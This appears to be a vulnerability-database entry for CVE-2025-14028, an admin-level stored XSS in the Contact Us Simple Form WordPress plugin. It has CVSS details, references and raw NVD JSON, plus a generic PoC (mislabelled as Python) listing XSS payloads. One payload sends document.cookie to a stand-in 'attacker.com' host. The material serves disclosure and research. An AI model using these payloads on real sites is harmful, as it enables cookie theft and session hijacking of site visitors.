CVE-2025-14028

Description

The Contact Us Simple Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Contact Us Simple Form插件 ≤ 1.0（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-14028 PoC - Stored XSS in Contact Us Simple Form Plugin -->
<!-- Requires administrator-level access -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-14028 PoC</title>
</head>
<body>
    <h2>CVE-2025-14028 Stored XSS PoC</h2>
    <p>Steps to reproduce:</p>
    <ol>
        <li>Login to WordPress as administrator</li>
        <li>Navigate to Contact Us Simple Form plugin settings</li>
        <li>Inject the following XSS payload in any input field:</li>
    </ol>
    
    <form id="pocForm" method="post" action="">
        <textarea id="payload" rows="5" cols="80">
" onfocus="alert('XSS Triggered - CVE-2025-14028');" autofocus="
        </textarea>
        <br>
        <button type="submit">Submit Payload (Manual Test Only)</button>
    </form>
    
    <script>
        // Example XSS payloads for testing
        const payloads = [
            '<script>alert("CVE-2025-14028")</script>',
            '" onmouseover="alert(document.cookie)" "',
            '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">',
            '<svg/onload=alert(String.fromCharCode(67,86,69,45,49,52,48,50,56))>'
        ];
        
        console.log('CVE-2025-14028 PoC Payloads:');
        payloads.forEach((p, i) => console.log(`${i+1}: ${p}`));
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14028
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14028
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14028/
[4] VulDB https://vuldb.com/cve/CVE-2025-14028
[5] https://plugins.trac.wordpress.org/browser/contact-us-simple-form/tags/1.0/contact-us-simple-form.php#L223
[6] https://plugins.trac.wordpress.org/browser/contact-us-simple-form/tags/1.0/contact-us-simple-form.php#L239
[7] https://plugins.trac.wordpress.org/browser/contact-us-simple-form/trunk/contact-us-simple-form.php#L223
[8] https://plugins.trac.wordpress.org/browser/contact-us-simple-form/trunk/contact-us-simple-form.php#L239
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/2c78ab13-22ed-4f00-b132-c9ff99c51273?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14028", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:51.193", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Contact Us Simple Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Contact Us Simple Form para WordPress es vulnerable a cross-site scripting almacenado mediante ajustes de administrador en todas las versiones hasta la 1.0, inclusive, debido a una sanitización de entrada y escape de salida insuficientes en atributos proporcionados por el usuario. Esto permite a atacantes autenticados, con acceso de nivel de administrador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contact-us-simple-form/tags/1.0/contact-us-simple-form.php#L223", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-us-simple-form/tags/1.0/contact-us-simple-form.php#L239", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-us-simple-form/trunk/contact-us-simple-form.php#L223", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-us-simple-form/trunk/contact-us-simple-form.php#L239", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2c78ab13-22ed-4f00-b132-c9ff99c51273?source=cve", "source": "[email protected]"}]}}